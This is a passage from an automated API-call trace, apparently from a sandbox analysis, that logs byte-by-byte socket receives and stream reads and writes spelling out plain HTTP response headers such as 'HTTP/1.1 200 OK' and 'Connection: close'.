pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.843] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x72, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x41, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x70, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x40, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x61, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x41, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x63, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x42, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x68, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x43, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x3) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x44, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x2) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x45, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x1) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x46, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.844] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x0, pcbRead=0x12fe8c*=0x0) returned 0x0 [0085.844] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.844] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.844] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.844] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x43, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.844] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.844] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.844] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.844] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.845] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.845] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.845] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.845] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.845] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.845] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.845] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.845] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.845] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.845] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.845] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.845] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.845] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.845] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.845] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.845] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.845] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.845] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.846] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.846] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.846] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.846] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.846] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x69, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.846] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.846] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.846] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.846] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.846] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.846] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.846] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.846] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.846] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.846] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.846] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.846] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.846] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.846] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.846] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.847] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.847] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.847] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.847] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.847] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.847] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.847] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.847] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.847] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.847] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.847] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.847] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.847] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.847] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.847] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.847] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.847] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x73, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.847] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.848] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.848] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.848] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.848] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.848] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.848] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.848] select (in: nfds=0, readfds=0x12fd68, writefds=0x0, exceptfds=0x0, timeout=0x12fd60 | out: readfds=0x12fd68, writefds=0x0, exceptfds=0x0) returned 1 [0085.848] recv (in: s=0x258, buf=0x12fe83, len=1, flags=0 | out: buf=0x12fe83*) returned 1 [0085.848] ISequentialStream:RemoteWrite (in: This=0x655c08, pv=0x12fe83*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.848] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x48, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.848] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x2, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.848] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x54, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x3, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.848] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x50, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x4, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.848] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.848] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x5, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x6, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2e, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x7, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x8, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x9, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x32, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xa, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xb, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x30, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xc, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xd, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4f, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xe, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x4b, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0xf, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xd, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x10, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0xa, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x11, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x44, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x12, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x61, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x13, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x74, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x14, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x15, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x3a, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x16, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x17, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x57, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x18, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x65, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x19, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x64, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x2c, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.849] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.849] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x31, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x20, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x1f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x41, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x20, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] ISequentialStream:RemoteRead (in: This=0x655c08, pv=0x12fe90, cb=0x4, pcbRead=0x12fe8c | out: pv=0x12fe90*=0x70, pcbRead=0x12fe8c*=0x4) returned 0x0 [0085.850] IStream:RemoteSeek (in: This=0x655c08, dlibMove=0x21, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0085.850] 